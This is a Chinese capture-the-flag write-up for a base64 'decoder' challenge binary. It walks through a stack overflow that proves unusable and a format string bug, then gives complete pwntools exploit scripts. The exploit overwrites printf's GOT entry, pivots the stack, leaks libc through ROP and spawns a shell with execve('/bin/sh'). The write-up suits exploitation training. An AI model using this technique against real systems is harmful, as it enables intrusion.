题目decoder见附件,部分反汇编后伪C代码如下:
int __cdecl main(int a1)
{
**
if ( read_data(0, (int)&src, 2048, 10) >= 0 )
{
while ( check(format) && v8 <= 10 ) //下标越界 可以造成栈溢出
{
++v8;
v2 = strlen(format);
format = (char *)decode((int)format, v2, 0);
snprintf(&s[2048 * v8], 0x800u, format); //存在格式化字符串漏洞
fflush(stdout);
}
for ( i = 1; i <= 9; ++i )
{
if ( v9[2048 * i - 20496] )
printf("%d:%s\n", i, &s[2048 * i]);
}
sub_8048B00();
result = 0;
}
**
}
通过观察反汇编代码发现有两个漏洞。
首先尝试栈溢出漏洞利用
思路,在对某个字符串进行11次base64加密,然后提交给漏洞程序decoder
相关代码如下:
#!/usr/bin/env python
from pwn import *
import base64
import pdb
context.log_level = 'debug'
p = process('./decoder')
elf = ELF('./decoder')
p.recvuntil('THIS IS A SIMPLE BASE64 DECODER')
str = 'aaaa'+p32(0x8048d80)+'aaaa'*10
payload=base64.b64encode(str)
for i in range(1, 10):
payload=base64.b64encode(payload)
pdb.set_trace()
p.sendline(payload)
p.recv()
p.interactive()
进行解密时 最后一次在snprintf时 v8=10 拷贝的数据超出了s的缓冲空间,覆盖了栈里的数据
如图所示:
在程序返回的时候 ecx控制esp的值 esp控制返回地址,这里由于栈溢出导致了程序流程可以被控制
但是实际上snprintf在while循环里,在该函数溢出覆盖返回地址后,还要执行一次check函数
在check函数里 要执行一个strlen函数 ,这个函数的参数是个字符串地址 覆盖后要可读 否则报错
这里用0x8048d80覆盖 如上图所示。
本来以为到这里可以成功利用漏洞了,但是在函数开始就把esp压栈进行了保护,溢出后esp被覆盖,因为地址随机化,我们也不能有效地控制ESP来劫持程序流程,思考了很久 这个栈溢出漏洞暂时无法利用。
利用格式化字符串漏洞
因为存在格式化字符串漏洞,那么可以造成任意地址写,我们把后面的printf的got表地址覆盖就可以控制程序流程了。
我们构造格式化字符串,在进行snprintf的时候 内存数据布局如下:
可以看到 在fomate后面第9个参数 我们放的是804b010 就是printf got表地址 可以直接将其覆盖掉
在执行printf函数时内存数据布局如下:
可以看到esp离我们的可控数据区还比较远,所以得找到一个移栈的gadget
这里找到一个地址 0x8048b31如下:
将栈抬高0x48字节 这里就用0x8048b31覆盖printf got表
然后利用rop技术在栈里布置puts函数 打印出read函数地址,然后根据偏移计算得到libc的基地址
计算execve函数地址 以及'/bin/sh'字符串地址
最后返回到main函数去,重新触发漏洞
再次触发漏洞的时候 利用rop技术执行execve('/bin/sh',0,0)
可以成功得到shell
最终exp如下:
from pwn import *
from struct import pack
from base64 import b64encode
import pdb
context.log_level = 'debug'
libc = ELF('libcmy.so')
elf = ELF('decoder')
def s(d):
return b64encode(d)
t = process('LD_PRELOAD=/root/libcmy.so ./decoder',shell=True)
t.recvline()
pay = '%%0%dc'
pay += '%%%02d$n'
d1 = pay%(0x08048b31,1)
l = len(d1)/3 + (1 if len(d1)%3 != 0 else 0)
l += 3
payload = pay%(0x08048b31,l)
rop = ROP(elf)
rop.puts(0x0804B00C)
rop.call(0x08048B37)
t.sendline(s(payload)+"\x00"*4 + p32(0x0804B010) + 'a'*20 + str(rop))
read_addr = t.recv(4)
read_addr = u32(read_addr)
libc_addr = read_addr - libc.symbols['read']
execve = libc_addr + libc.symbols['execve']
sh = libc_addr + libc.search('/bin/sh').next()
print hex(libc_addr)
t.recvline()
t.recvuntil('THIS IS A SIMPLE BASE64 DECODER\n')
pay = '%%0%dc'
pay += '%%%02d$n'
d1 = pay%(0x08048b31,1)
l = len(d1)/3 + (1 if len(d1)%3 != 0 else 0)
l += 3
payload = pay%(0x08048b31,l)
rop = ROP(elf)
rop.call(execve,(sh,0,0))
t.sendline(s(payload)+"\x00"*4 + p32(0x0804B010)+'a'*20 + str(rop))
t.interactive()
[课程]Linux pwn 探索篇!